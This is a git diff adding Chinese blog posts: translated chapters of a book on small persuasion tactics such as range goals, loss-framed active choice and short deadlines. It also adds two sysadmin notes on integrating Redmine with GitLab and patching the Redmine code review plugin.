+每周初，成员们会称体重，设定这一周的减肥目标，然后参加小组活动，学习健康生活的方法。到了第十周末唯尾，研究者们测量两组数据：首先是成员们的表现情况，以减掉多少体重为准；然后是继续参加后续10周减肥课程的意愿水平。虽然从减重效果上看，两组之间的区别不算太明显［在前3周，浮动范围组平均每人减掉了2.67磅（约2.4斤），单一数字组平均每人减掉了2.2磅（约两斤）］，但是，在“是否愿意继续参加为期10周的减肥课程”的问题上，两组人的态度呈现出巨大差异；单一数字组中只有50%多点的人愿意愿意继续参加，但浮动范围中有将近80%的人都注册了后续课程，交了25美元的学费。 + +减肥俱乐部和健身中心的管理者应当注意了，尽管两组人减掉的体重差不太多，但每一个营养学家都会告诉我们，最重要的是持续减肥。既然持续某种行为的关键因素是帮助人们牢牢的记住目标，那么，这个小小的改变就足以造成巨大的影响。但它背后的原理是什么？ + +先前的研究证明，让人们实现目标的重要因素有两个：挑战性与可实现性。目标应当让人感到有充分的挑战性，因为这会让人产生成就感，但前提是它有实现的可能。面对单一数字型的目标，人们不得不挑选一个相对容易达成的、相对有挑战性的数字，或者是两者之间的折中，而浮动范围型的目标把这两个因素都包含在内。简单的说，它之所以能够促使人们重拾目标，是因为它能让人把可实现性和挑战性这两个方面的成就感都占全了。 + +沃尔特·迪斯尼、弗雷德·阿斯泰尔和约翰·戈登爵士在最初受挫后依然取得了成功，显然这不单是因为某些小事进了效，比如改变了为自己制定目标的方式。想要成为诺贝尔奖得主，或是好莱坞的大明星，这都需要巨大的牺牲、艰苦的努力和研习，还要长年累月地呵护并培养自己的才华。这些都是大事情。 + +但是，正如我们在这本书中不断提到的，小事也很重要。 + +上述研究清楚地显示出，当我们想调动自己或他人的积极性的时候，把制定目标的方式做一个小小的改变，就能得到巨大的成效。好比说有个老师，想让一个最近总是在拼写测验你做不好的孩子重新鼓起学习的劲头儿，那他可以把明天的考试目标制定为10个词拼对7～9个，而不是10个里对8个。如果呼叫中心的经理希望让员工充满干劲儿，维持较高的呼叫数量，那他可以做个实验：让一组员工使用单一数字型目标，另一组使用浮动范围型目标，然后看看这个小改动能带来多大差异。债务管理公司和储蓄公司就会发现，如果让客户制定浮动范围行的还款（储蓄）目标，比如让客户每月还掉（存入）28~32美元，而不是每月固定的30美元，客户就能更好的坚持这个还款（储蓄）计划。 + +这个帮助人们重拾目标的小改变对政策制定也有所帮助。在世界卫生组织（World Health Organization）的倡导下，美国、英国和德国等国家已经推行了“一日五份”的健康膳食计划，鼓励国民每天吃5份水果和蔬菜。出于各种原因，不少这样的计划就取得了有限的成功。而本章中这项研究指出，如果把“一日5份”的规定做个小小的调整（比如“一个月5份或者6份），就有可能鼓励那些已经放弃的人们重新参与进来。 + +［1］弗雷德·阿斯泰尔，美国著名歌手、舞蹈家、舞台剧演员，演出生涯长达76年，1950年获得奥斯卡终身成就奖，1999年被美国电影学会选为百年来最伟大的男演员第五名。——译者注。 diff --git a/_posts/2016-12-07-138-the-small-big-17.md b/_posts/2016-12-07-138-the-small-big-17.md new file mode 100644 index 0000000..f07cef5 --- /dev/null +++ b/_posts/2016-12-07-138-the-small-big-17.md @@ -0,0 +1,41 @@ +--- +layout: post +title: 17 损失规避原则 +pid: 138 +tags: [细节如何轻松影响他人] +--- +在这个信息爆炸的世界里，就算当时没有意识到，我们的许多选择其实都是在“懒得选”的状态下做出的。政府的政策制定人，401（k）储蓄计划，还有汽车销售商等等都明白“默认选项”的强大力量，并利用它来影响我们的行为。 + +例如，如果雇主在表格中把“参加税收优惠的401（k）公司储蓄计划”列为默认选项，而不是主动勾选，同意参加的员工数目就会多出50%。如果“同意捐赠器官”是自动默认选项（除非某人特意声明不愿意），那么民众愿意捐赠并随身携带器官捐赠卡的人数就会高出4倍。许多网络营销公司也会运用这个手段，先把推广资讯发给你，除非你主动声明拒收。 + +由于“默认选项”符合我们的惯性，而不是与之抵触，所以它在影响人们的决策和行为方面是一个非常好的工具。如果对默认设置做一个小小的调整，就能让他们想也不想地做出改变，那还何必自找麻烦，让他们去想是否需要改变的问题？但是，虽然这个方法无处不在，力量也十分强大，但它也不是一点儿毛病都没有。 + +他的缺点之一就是，默认选项是被动的，而不是主动的。在前面的章节中我们已经看到，当我们想要说服他人遵守承诺时，被动的选择可能会引发问题。另一个缺点就是，默认选项最适合单一最佳选项的情况，如果我们想让别人在做决定之前多衡量几个选择，或者至少是根据他们自身需求来量身订做选项，默认选项的方法就不适用了。 + +那么，我们是不是应该放弃它，换成其他更有效果的方法？显然不必，行为科学家发现了几个小小的做法，无需耗费任何额外的时间成本和资源，就可以提升默认策略的效用。 + +研究人员普纳姆·凯勒（Punam Keller）和同事们经过一系列的研究后发现，通过一个两步走的方法，就能够增强默认策略的效果。他们把这个方法叫做“增强版主动选择”。 + +“增强版主动选择”的第一步是对默认设置做个小调整：人们面对的不再是“要么接受，要么放弃”，而是可以在两个选择中真正挑选出一个。在一个实验中，凯勒和同事们把一组叫教职员工共分成了两个小组。两个小组都得到了一个打流感疫苗的机会，这不仅能保护他们的健康，还能替他们节省每个月的健康保险费用。 + +第一组（“接收或放弃”组）面对的要求很简单:“如果今年秋天你想打流感疫苗，就在此处打勾儿。” + +但第二组面对的不是一个替他们做好了的默认选择，还是一个主动2选1的机会：“今年秋天我要打流感疫苗”，或者“今年秋天我不打流感疫苗”。 + +结果显示，比起“接收或放弃”组（愿打疫苗的人占42%），主动选择组中有更多的人（62%）愿意打疫苗。这个实验提供了明确的证据：虽然接收或放弃的方法有道理且有效，但再做一个小小的调整——请人们主动作出选择——能够带来更大的成效。 + +但研究者们并不满足。他们想知道，能否把主动选择的方法再升级一下？他们在说服科学的另一个基本原理中找到了答案，这个原则就是损失规避（loss avetsion）。也就是说，人们有避免失去的强烈倾向。研究者们怎么把这个倾向运用起来，测试了主动选择的升级版：向人们指出，如果他们不采取行动，就会损失什么。 + +这一组的受试对象需要在以下两个选项中挑一个： + +“今年秋天我会打流感疫苗，因为我想降低得流感的风险，并且节省五十美元。”或者，“今年秋天我不打流感疫苗，即便这意味着我得流感的风险可能会提高，而且无法节省50美元。” + +把主动选择更具体的损失结合起来，这么一个小小的举动造成了极大的差异：75%的人要求打疫苗。如此显著的成果，让凯勒和同事们到实验室外去测试类似的方法，其中包括一个规模很大的实地测试，对象是11000名参加药品福利（Pharmacy Benefit）项目的成员。每一次实验都能证明，他们的“增强版主动选择”更富成效。 + +尽管这些研究都是在公共健康领域进行的，目标都是劝说人们打流感疫苗，单“增强版主动选择”的方法在其他情况下你会十分见效。例如，如果软件开发商希望用户们放弃功能受限的免费版本，转而购买功能齐全的收费版本，那么他们就应该把弹出窗口上标准的默认方式给改掉，让用户在两个选项中主动做出选择，同时要记得，把这个方法再升级一下，向用户们指出，如果他们继续使用免费版，就会失去什么（例如，更迅速的下载速度与其他功能）。 + +想说服客户转用另一个储蓄账户的金融机构可以这样做：当客户登录网上银行页面时，给他们提供一个选择的机会：在现有账户和升级版账户中选一个。同样，也别忘了指出，如果他们不改用升级版账户就会失去什么。学校校长如果希望能够说服更多家长让孩子参加“走路上学”的活动，就可以让他们在以下选择中挑一个：在某个特定的日子，是愿意开车来上学，还是走路来。同样，一定要向家长们指出，如果他们选择不走路，孩子们大概就享受不到新鲜的空气、额外的运动机会以及融入群体的机会了。 + +无论你的目的是什么，两步法的关键都是一样的。首先迈出一小步，构思两个选择，让受众从中主动挑一个。然后，再多往前迈一小步，把你想让他们选的那个选项包装一下——向他们指出，如果不这么做的话就会损失什么。 + +这两个小小的改变会让结果大不一样。 diff --git a/_posts/2016-12-10-139-redmine-gitlab.md b/_posts/2016-12-10-139-redmine-gitlab.md new file mode 100644 index 0000000..01fbad6 --- /dev/null +++ b/_posts/2016-12-10-139-redmine-gitlab.md @@ -0,0 +1,61 @@ +--- +layout: post +title: Redmine与Gitlab的简单集成 +pid: 139 +tags: [redmine, gitlab, 软件开发] +--- +这个实验成功的前提是，我们的Redmine和gitlab是安装在同一台服务器上面。 + +不在同一个服务器上面的我没有测试成功，希望成功的朋友联系我baoguo.ding#foxmail.com + + +# From Gitlab to Redmine + +## 更新配置文件gitlab.yml + + [root@localhost ~]# cd /var/opt/gitlab/gitlab-rails/etc/ + [root@localhost etc]# vim gitlab.yml + + issues_tracker: + redmine: + title: "Redmine" + project_url: "http://redmine/projects/:issues_tracker_id" + issues_url: "http://redmine/:project_id/:issues_tracker_id/:id" + new_issue_url: "http://redmine/projects/:issues_tracker_id/issues/new" + + +## 重启gitlab + + [root@localhost etc]# gitlab-ctl restart + +# 在Gitlab里面设置redmine来做issuetracker +1. 登录到gitlab中 +2. 选中项目 >> Setting >> Services >> +3. 选择Readmine，输入基本信息，点击保存。 +4. 然后，你就可以点击Issue，跳转到Redmine中。 + + + +# From Redmine to Gitlab + +## 查找自己项目的git文件 + + [root@localhost ~]# cd /var/opt/gitlab/gitlab-rails/etc/ + [root@localhost etc]# vim gitlab.yml //查找一个叫repos_path的配置 + [root@localhost etc]# cd /var/opt/gitlab/git-data/repositories + //找到自己项目的git文件。 + + +## 将上面git文件地址配置到redmine中 + + 1. 登录到redmine平台http://192.168.10.37:3000 + 2. 项目 >> [你自己的项目] >> 配置 >> 版本库 + 3. 新增版本库 + SCM: Git + 主版本库：Yes + 标识: xxx_project + 库路径： /var/opt/gitlab/git-data/repositories/root/xxx_project.git + 4. 点击保存。 + 5. 点击标识xxx_project就可以查看提交。 + 6. 点击用户，就可以把Redmine中的用户与Gitlab中的用户关联。 + 7. 同样，也可以在活动中看到每日和系统相关的活动。 diff --git a/_posts/2016-12-12-140-redmine-codereview.md b/_posts/2016-12-12-140-redmine-codereview.md new file mode 100644 index 0000000..c3c9884 --- /dev/null +++ b/_posts/2016-12-12-140-redmine-codereview.md @@ -0,0 +1,63 @@ +--- +layout: post +title: Redmine安装插件codereview +pid: 140 +tags: [redmine, 软件开发] +--- + + +http://www.redmine.org/plugins/codereview + +https://bitbucket.org/haru_iida/redmine_code_review/downloads/redmine_code_review-0.7.0.zip + + +# 操作步骤 + 1. Copy the plugin directory into the plugins directory + 2. Migrate plugin: + rake redmine:plugins:migrate RAILS_ENV=production + 3. Start Redmine + 4. Add code review module into your project. + 5. Go to code review setting tab in the project setting page and select tracker. + + + [root@localhost ~]# cd /opt/redmine/plugins/ + [root@localhost plugins]# unzip redmine_code_review-0.7.0.zip + [root@localhost plugins]# rake redmine:plugins:migrate RAILS_ENV=production + [root@localhost plugins]# cd /opt/redmine/ + [root@localhost redmine]# ./bin/rails server -p3000 -b0.0.0.0 -e production -d + + + 管理 >> 跟踪标签 >>　建一个 Code Review 的标签 + 管理 >> 项目 >> xxx 项目 >> 配置 >>　模块 >>　启用代码评审， 点击保存 + + + +# 错误信息 + + ActiveRecord::StatementInvalid (Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ':conditions=>["project_id = ? and issue_id is NOT NULL", 1]}) FROM `code_reviews' at line 1: SELECT COUNT({:conditions=>["project_id = ? and issue_id is NOT NULL", 1]}) FROM `code_reviews`): + plugins/redmine_code_review/app/controllers/code_review_controller.rb:40:in `index' + lib/redmine/sudo_mode.rb:63:in `sudo_mode' + + + + @review_count = CodeReview.count(:conditions => ['project_id = ? and issue_id is NOT NULL', @project.id]) + @all_review_count = CodeReview.count(:conditions => ['project_id = ?', @project.id]) + + +改成 + + @review_count = CodeReview.count("project_id = " + @project.id.to_s + " and issue_id is NOT NULL") + @all_review_count = CodeReview.count("project_id = " + @project.id.to_s) + + + + +# 参考资料 + +1. [使用Redmine 作为issue管理系统](http://blog.csdn.net/csfreebird/article/details/12947039) +2. [Redmine 插件：使用 Gitlab 账号登录](https://www.testwo.com/blog/7728) +3. [基于jenkins+gitlab+redmine构建持续集成环境（一）](http://www.simlinux.com/archives/542.html) +4. [Gitlab OAuth2 Application简明教程](https://afoo.me/posts/2015-12-17-create-a-gitlab-oauth2-application.html) +5. [redmine + gitlab (github) 整合、同步更新](http://tech-tacolin.blogspot.com/2013/06/redmine-gitlab-github.html) +6. [Redmine 插件安装](https://my.oschina.net/farces/blog/296514) +7. [500 Error on plugin from recent installation](https://bitbucket.org/haru_iida/redmine_code_review/issues?status=new&status=open) diff --git a/_posts/2016-12-12-141-the-small-big-18.md b/_posts/2016-12-12-141-the-small-big-18.md new file mode 100644 index 0000000..a3f0023 --- /dev/null +++ b/_posts/2016-12-12-141-the-small-big-18.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 18 如何克服拖延症 +pid: 141 +tags: [细节如何轻松影响他人] +--- +美国零售商百思买（Best Buy）在最近一份年度结算报告中指出，由于一些顾问顾客没能赶在礼品卡过期之前把它们用掉，公司的收益增加了4000万美元。遇到这种情况的不止百思买一家。专门从事消费者研究的公司Tower Group（塔群）估算，每年到过期日仍未用掉的礼品卡总额估计达到20亿美元。 + +忘记消费的现金数额竟然如此巨大，一些消费者组织开始呼吁相关方修改法律，要求零售商把礼品卡的期限延长，好给人们留出一些富余时间来把它们用掉。但是，根据我们对说服过程的研究来看，这种改法非但帮不上忙，还有可能把事情弄得更糟。我们认为，应该采取一个完全不同的做法。事实上，只需要做一个小小的改动来调动人们的积极性就可以了。这个无需成本的小改变不但能促使你的亲朋把上次过节时你送给他的25美元亚马逊礼品卡花掉，还能帮你说服别人立即行动起来，做到“今日事今日毕”。 + +谁都有拖延症的时候，无论是多锻炼一点儿，还是启动一项新研究，或修剪草坪。说到为拖延时间找借口，咱们可谓是花样百出，创造力无穷。就像西班牙谚语说的：“明天总是一周里最忙的一天。”一般来说，人们拖着不想做的往往都都是一些比较无趣的事情，可实际上，我们经常也会把有趣的、喜欢做的事情拖到明天。为什么？ + +原因之一是，人们总是一门心思去对付那些横在眼前的、争抢了注意力的“拦路虎”，同时错误地以为，一担把这些解决掉，就会有更多时间去做更加有趣的事情了。当然，他们没想明白的是，拦路虎都是成群结队的，这个解决了，另一个必然会上来补位。这就意味着，将来他们照样也会很忙，结果有趣的事情就没空做了。 + +研究者苏珊娜•舒（Suzanne Shu）和艾莱特•格尼兹（AyeletGneezy），注意到，在这个繁忙的、信息过载的世界里，就像拖延那些“不想做的事”一样，人们对“想做的事”的拖延倾向也逐渐严重，于是他们设计了一系列非常有趣的实验。他们从中发现，对时间期限做一个小小的改动，竟能产生非常可观、而且是违反直觉的效果，大大提升了人们完成任务的可能性。 + +研究开始之前，工作人员请受试者们评估一张礼品卡对他们的吸引程度，这张卡价值6美元，可以在当地一家高档面包店兑换咖啡和蛋糕。受试者也要回答，如果他们得到了这张礼品卡，会不会去店里把它用掉。但受试者们不知道的是，虽然卡的价值一模一样，但有效期不同：一个版本的有效期是3周，另一个版本的是2个月。毫无疑问，当受试者们被问到对有效期的看法时，他们更喜欢期限长的那一张，而不是短的。 + +有趣的是，似乎这种正面的评价也影响了人们对自己行为——会不会把卡用掉——的预测。评估有效期为2个月的那张卡的受试者，将近70%都说自己会去，而评估有效期为3周的那张卡的受试者中，只有差不多50%的人声称会去。显然，大家都更喜欢较长有效期所带来的灵活性。还记得在本书引言中咱们列举过证据，说明人们对自身行为的预测能力是多么糟糕吗？真实情况会不会是这样：虽然大家都喜欢有效期更长的礼品卡，但有效期较短的那种反而更容易被用掉？ + +这正是研究者们准备测试的议题，结果令他们大吃一惊。与受试者们的预测相反，去面包店里兑换咖啡和蛋糕的人里，拿短期卡的人数是长期卡的5倍。人们或许更喜欢有效期较长的礼品卡，因为时间更宽松，然而在实际生活中，这一点反而会让去的人更少。 + +为了做个最后确认，确保这项研究的结果主要是因为拖延，而不是因为其他原因，研究者们做了一系列的后续回访。那些使用的礼品卡的人都反应说，这次经历愉快而又值得。那些没去成的人都流露出后悔的心情，绝大多数都同意这样的理由：“我太忙了，没时间去”或是“我总是想着过几天再去”，而不是“我忘了”，或是，“我不喜欢甜点”“太麻烦了。” + +这项研究成果告诉我们，如果你希望说服客户采纳客户采纳你的提议，你马上就可以对常规做法做一个小小的修改。任何人都能做到。为了让目标受众响应你，不是不要把时间期限放得很长——以为长期性会让你的提议变得更有吸引力，这个错误的做法。相反，这项研究建议我们，应该把时间期限大大缩短。例如，一家软件公司想鼓励更多的新用户注册使用他们的产品，如果把弹出窗口的内容重标准版的“现在注册”“明天提醒我”“下周再次提醒我”改成“现在注册”“明天提醒我”“三天之内再次提醒我（最后注册日）”，注册率可能就会提升了。或许他们还可以给早早注册的用户发一点儿小福利或小礼品。 + +如果金融顾问或投资经理想说服潜在客户参加在线研讨会或产品说明会，了解最新的投资小贴士，可以把邀请函上“敬请回复”的时间期限提早一点儿，而不是放得更晚，这样做会提升潜在客户的出行率。这个方法跟另一项研究成果是一致的：如果附在电子邮件里的邀请函标出了具体而且临近的截止期限，收件人点击注册的比率就会提高8个百分点。 + +最后，如果你的伴侣、朋友或工作上的伙伴答应要跟你分享一瓶优质又很美味的红酒，却一再把日期往后拖，说是想等到某个足够特别的日子，舒和格尼兹会向你推荐一部热门电影《杯酒人生》（SideWays）里的一个片段，教你如何不露痕迹地说服他人： + +迈尔斯：我存点儿好东西。一瓶1961年白马酒庄（Cheval Blanc）的好酒。 + +玛雅：你有一瓶1961年的白马酒庄的酒，却放着不喝？……品尝它的最佳时期可能已经过了。你在等什么呢！ + +迈尔斯：不知道。某个特别的日子吧。跟一个对的人共享。我本来想留到结婚10周年纪念日上喝的。 + +玛雅：把1961年白马庄的酒打开的那一天，就是特别的日子。 diff --git a/_posts/2016-12-12-142-the-small-big-19.md b/_posts/2016-12-12-142-the-small-big-19.md new file mode 100644 index 0000000..c0ceb97 --- /dev/null +++ b/_posts/2016-12-12-142-the-small-big-19.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 19 如何留住顾客跟定你 +pid: 142 +tags: [细节如何轻松影响他人] +--- +1981年，英国朋克摇滚队“冲击”（The Clash）的一首热门歌曲打进了VH1百大摇滚金曲榜。在这首歌里他们唱到：“我们到底是该走还是该留？”时至今日，歌词中的这个问题被人问到的频率大概跟30年前它刚问世时一样高，而且不只是用在恋爱问题上，商业问题你也适用。 + +每一天，都有成千上万人在排队等待、而且不知道要等到什么时候的顾客自问：“我到底是该走还是该留?”买完东西的顾客可能会从一个结账通道换到另一个，希望结账速度能快一点儿。网友们可能会刷新网页，希望内容能快点儿跳出来。拨打服务热线的顾客可能会挂掉电话，等一会儿再打过来，盼着等候时间能缩短一点儿。我们大概是生活在一个有史以来步调最为迅速、资讯最为泛滥的时代，可我们依然得花费不少时间去排队等候（或是对着网页干等）。 + +美国人一辈子平均花在排队等候上的时间大约是两年多。注意到这个事实后，研究者纳拉彦·加纳克拉曼（Narayan Janakiraman）、罗伯特·迈尔（Robert Meyer）、斯蒂芬·霍克（Stephen Hoch）想要找出哪些因素能够说服人们继续排队等下去，又有哪些会因素会让他们彻底放弃，马上走人。他们的发现指向了一些虽小却十分重要的改变——任何一家企业或客户服务机构都能做到，并且在留住客户、提升满意度、提高服务评分方面能够得到显著的收效。 + +这项研究的核心基于一个简单的直觉：至少有人会采纳“既然排队了，就值得等下去”的建议。例如，研究发现，当人们打电话给呼叫中心、等待服务员接听的时候，大约有1/3的人会把电话挂掉，然后再重播一遍——这主要是因为没有耐心等。显然，极少有人会从这种策略中受益得益，因为将来再打过去的话，等待的时间加起来会变得更长。 + +通过说服科学的透镜来审视这件事，“我到底是该走还是该留”的问题里包含了两个相对立的人类动机。一方面，我们排队等待的时间越长，就越有可能去琢磨"要是不在这儿等我就可以去做其他事情”。没能去做那些事情会被视作“损失”——因为人人都有避免损失的基本动机，排队等候的人可能会单纯因为避免任何可能的损失而放弃等待。 + +然而，事情很少像表面上那么简单。排队的人往往都做出一个主动的承诺，因此一直原则或许被激活了，导致他们留在队里等下去。每多排一分钟，他们留下来的动机可能就会增加一点儿，因为他们距离目标更近了。 + +因此，在这场避免损失和保持一致性的拉锯战中，人们一般会怎么做？加纳克拉曼和同事们在研究中发现，绝大多数做出了最糟糕的决定：在等到一半的时候放弃。毫无疑问，这个不够理想的决策多半都伴随着厌烦、挫折和不高兴的情绪。如果这些潜在顾客等待的是你的公司的服务，这种情况就不妙了。 + +那么问题来了：你能做些什么来缓解这些情绪，并减少顾客在没打通电话之前就挂机的次数呢？一些明显的答案是，多雇用和训练一些接电话的员工；通过分析需求和承受容量来减少通话等待时间，然而用更有效的方法来管控。虽然这些都很重要，但他们看上去都是大招，而且挺费钱。鉴于本书主要讲的是最微小、最不耗费资源的方法，还有哪些是我们能做的呢？在加纳克拉曼和同事们的研究中——他们在实验室里做了许多实验，也在印度一家呼叫中心获得了实地考察的数据——他们测试了一个很容易做到的“四两拨千斤”的手法，结果相当好：给你拿着电话等待的顾客找点儿简单的事干，让他们分分心，就能显著降低顾客提前挂机的比例。听上去太简单了吧，可它真的有用。 + +我们想知道，这个方法是不是也能为企业所用，绝大多数都是视为挫折沮丧的等待过程转换为开心愉悦的经历，甚至还能创造未来的客户忠诚度。金融机构可以把自动语音系统改一改，让拿着电话等待的顾客收听理财小知识；对那些在银行里等待的顾客，可以给孩子们设计一些小活动，教他们学一点儿关于金钱的知识。餐厅的领位员与其把那种可以兼做涂色游戏卡的餐垫留给桌前的孩子，还不如把他们拿给排队等待的家庭。当使馆里申请签证的人排起长队的时候，工作人员可以给他们发点儿有用的资料，让大家纷纷心，比如印着当地常用语和风俗习惯（比如如何给小费，或是如何排队）的信息卡，等他们抵达目的地时就会用得着。 + +说起让人分心的东西，我们想起了两个绝妙的例子。第一个是我们的博客里的一位读者讲的故事：有位顾客给他的手机运营商打电话，结果客服人员说他的系统很慢，为了替他节省时间，她过一会儿再给他回电话。可这位顾客已经等了一段时间了，她不想这么轻易的把电话挂掉，因此他坚持说不挂，要等。“好的，先生”，客服人员说道，“如果是这样，那您告诉我您最爱听的歌是哪首。”听到这个无厘头的问题，顾客彻底懵了，可是他还是回答了。想想他震惊的模样吧：当他回答“是弗兰克·辛纳屈（Frank Sinatra）的“纽约，纽约”之后，那个客服当即在电话那头为他唱了起来。 + + + +第二个例子来自我们在英国的编辑，他告诉我们，有次她给猫咪保护组织（Cats Protection Agency）打电话等待服务人员接听的时候，他听到的不是音乐，而是抚慰人心的猫咪呼噜声。 + +所以，或许我们给出的“四两拨千斤”的建议是，公司可以让人们自己选择喜欢的通话待机音乐。我们会选什么？ + +当然是“冲击”乐队的歌了！ diff --git a/_posts/2016-12-12-143-the-small-big-20.md b/_posts/2016-12-12-143-the-small-big-20.md new file mode 100644 index 0000000..22d9834 --- /dev/null +++ b/_posts/2016-12-12-143-the-small-big-20.md @@ -0,0 +1,37 @@ +--- +layout: post +title: 20 把潜力变成现实 +pid: 143 +tags: [细节如何轻松影响他人] +--- +假设你希望说服新客户跟你们公司签订一份利润丰厚的合约。或是，你希望自己能在招聘面试或升职选拔中脱颖而出。你是应该强调自己强调你过往的经验和出色的业绩呢，还是应该把重点放在自己的潜力上，向客户或面试官指出你将来能够获得的成就？ + +本书作者之一做了个快速调查，他在办公室里办公室里问了一圈（我们承认这个方法不够科学），一个显而易见的答案浮现出来：应该把重点放在以往的经验和成就上。乍一看这很合理。实实在在的成绩肯定比未来潜力更有说服力，这个理由很充分：这些都是已经取得的成就，是千真万确，毋庸置疑的。因此，在其他条件都一样的情况下，客户在选择应当跟哪家公司签订这份利润丰厚的合约时，比起一群毛头小伙组成的、只有成功潜力的公司，一个已经经营多年经营多年并获得过数个行业大奖的公司显然更有胜算。同样，更有希望在升职选拔中胜出的应该是已经取得了出色成绩的那一个，而不是只具备发展潜力的那一个。 + +但在现实中，事情往往并不是这样，许多体坛新秀就是凭借未来的潜质谈下了令人瞠目结舌的大合同。曾经的NFL四分卫贾马克斯·拉塞尔（JaMarcus Russell）是2007年NFL国家橄榄球队联盟、National Football league的选秀状元。奥克兰突袭者队（Oakland Raiders）跟他签下了数目惊人的，价值6100万美元的合同。显然，突袭队看到拉塞尔的大好前景，所以他们愿意花大价钱把他签下来——他们购买的是尚未转化成赛场胜绩的潜质。在商业世界中，不少人都能记起这样的例子：一个前途被看好却没有什么经验的候选人击败了有资历的同事，赢得了升职机会。如果你曾经在业务拓展部门或销售部门工作过，你肯定会遇到这样的事：一个工作经验和过往业绩压根无法跟你相提并论（至少从履历表上看不出来）的对手把客户从你这儿抢走了。 + +所以，说服他人的时候，应该把重点放在哪儿？去强调潜力呢，还是强调现实？ + +根据说服科学家扎卡里·托马拉（Zakary Tormala）、和迈克尔·诺顿（Jayson Jia）［这位是出色的好书《花钱带来的幸福感》（Happy Money），的作者之一］的观点，你应该强调未来的潜力——这多少有点违背直觉——因为在决策者看来，能出色完成某件事的潜质往往比已经在这件事上取得过出色成绩更重要，换言之，潜力往往会战胜现实。 + +在托马拉和同事们做的一个实验中，受试者对一名应聘者的能力进行评估。此人申请了一家大型公司的银行部门的高级管理职位。所有受试者都得知，这位应聘者在康奈尔大学（Cornell University）取得了学士学位，专业是经济学，平均成绩点数（GPA）成绩3.82，并在纽约大学（New York University）深造，拿到了工商管理硕士（MBA）学位。然而，一部分受试者得知，这位应聘者有两年的银行业相关经验，最近还在一个名为“领导力成就评估”的测试中取得了92分（满分100分）的成绩。而另一部分受试者得知，这位应聘者没有银行业相关的工作经验，最近在一个名叫“领导力潜质评估”的测试中取得了92分（满分100）的成绩。所有受试者都被告知，这两个测试评估的都是候选人在今后两年内的表现情况。 + +结果非常明显。受试者认为，“潜质版”应聘者比“成就版”应聘者更出色，更值得雇佣。从客观上看，潜质版的应聘者实力较弱，因为他没有相关工作经验，但尽管如此，受试者还是得出了上述结论。有趣的是，当工作人员请受试者们预测哪一位应聘者会在未来五年内做出更好的业绩时，受试者依然更愿意选择“潜质版”的那一位。在后续的跟进研究中，托马拉和同事们发现了相同的结果：当受试者必须在两个条件相同，但在潜质和实际成就方面有差异的人群中挑一个的时候，他们总是选择有潜质的那一个。这些结果清楚地证明了潜质的力量。 + +原来，“潜质的说服力胜过现实”的现象不仅发生在招聘的时候。托马拉和同事们在一个更以消费者为主导的环境中（社交媒体的用户群）也发现了这种情况。在该研究中，Facebook的用户们看到了一些对一位喜剧演员的评语。一半人看到的评语是强调的是这位喜剧演员的潜质，比如“这家伙能成为下一个大腕儿”以及“到明年，人人都会谈论这位喜剧演员了”。另一半人看到的评论强调的是这个喜剧演员已经取得了成就，比如“评论家们说，他已经成为了大腕了”“人人都在谈论这个家伙”。 + +就像银行招聘实验和其他进一步研究一样，Facebook的用户们也表现出了更重视潜质的倾向：当评论强调的是喜剧演员的潜质而不是实际取得的成就时，用户表现出更大的兴趣（以点击率测算），和喜爱之情（以粉丝比率测算）。 + +但这是为什么呢？ + +研究者认为，为何潜质总是比现实更吸引人，一个潜在的原因就是现实已经发生了，完全是确定的。当人们在评估一个具备“潜质”的候选人时，虽然这两个字为信息和沟通带来明显的不利意味，但它给人带来的那种不确定的感觉却是相当有利的因素，换句话说，它激起了人们的兴趣。 + +所以，这是不是意味着，当人们做决策的时候，潜质比现实更有说服力？很难说。但是，鉴于潜质可以勾起人的兴趣，进而让人们更加留意，那些沟通者可以借用它的力量。事实上，主持这项研究的学者明确指出，当对方把注意力放在你的潜质上之后，立即提供支持性的信息（比如来自可信渠道的证明信、领导力方面的高评分，或是其他类型的有说服力的信息），你获得对方青睐的可能性就会增加。 + +假设你要说服一个客户跟你的公司合作。进一步假设，你认为你的公司的竞争优势在于既有相关的经验，又有新颖的思路。你需要留意的一个虽小却很重要的点就是摆出这些优势的先后顺序。你应该先强调这份提案在将来能为客户带来哪些好处，借此吸引客户的注意力，然后再列举出以前的成功案例。 + +同样，如果你在申请升职，或是为某个申请升职的人写推荐信，上述研究建议说，更好的做法是你先强调自己（或你推荐的那个人）以后在这个职位上能做出哪些成绩，而不是立即摆出之前的成就。这样做的话，你更有可能引起面试官的兴趣，这意味着他会更专心的看你后续提供的、关于你实际业绩和工作经验的信息。高中毕业生在申请大学时也是一样，在申请文件的个人自述中，应该先让招生老师看到你的发展潜质。 + +如果地产经纪想要推销一套不那么招人喜欢的房子，就可以把平常的做法做个小改动，在准客户的心中创造出一幕更惹人喜爱的画面。例如，他可以强调这处破败房产的改造潜质：客户可以把它改建成家庭工作室，或是一个能让丈母娘安度晚年的舒适小屋，再或者，“从这个翻修重建的工程中实现你的您的梦想”。 + +对那些工作经验没有竞争对手们丰富的应聘者来说，强调自己的潜质也是个好方法。在推荐信中，不要强调工作经历，而是要把重点放在那种能证明你具备未来潜力的证据上。单凭这个改动，是不是就能确保你得到这个工作的工作机会呢？或许不行，但它至少是块敲门砖，让你有机会去施展这本书中提到的其他“四两拨千斤”的方法，进而取得更好的结果。 diff --git a/_posts/2016-12-12-144-the-small-big-21.md b/_posts/2016-12-12-144-the-small-big-21.md new file mode 100644 index 0000000..3df1015 --- /dev/null +++ b/_posts/2016-12-12-144-the-small-big-21.md @@ -0,0 +1,33 @@ +--- +layout: post +title: 21 把会议开得更高效 +pid: 144 +tags: [细节如何轻松影响他人] +--- +《星际迷航》里的寇克船长说，如果“开会纯粹就是浪费时间”的说法有半分正确，那你多半曾在开完会后犯过嘀咕——开这种会，能有一丁点儿用才怪！25年前，心理学家加罗德·泰塔瑟（Garold Stasser）和威廉·泰特斯（William Titus）出版的关于“决策小组中的沟通状况”的研究成果。虽然这些成果已是1/4世纪之前的东西了，但时至今日，他在很多情况下依然适用。 + +他们发现，人们在开会的时候，有相当多的时间都浪费在听别人讲那些人人都知道的事情上。更让人郁闷的发现是，真的带来新信息的人（而且只有他们知道这些信息）往往无法提醒其余的参会者去了解这些信息。 + +结果就是这种情况下作出的决策往好里说是“还撮合”，往坏里说就是“相当糟糕”。 + +更多近期的研究证实了他们的发现。例如小詹姆斯·拉森（James Larson 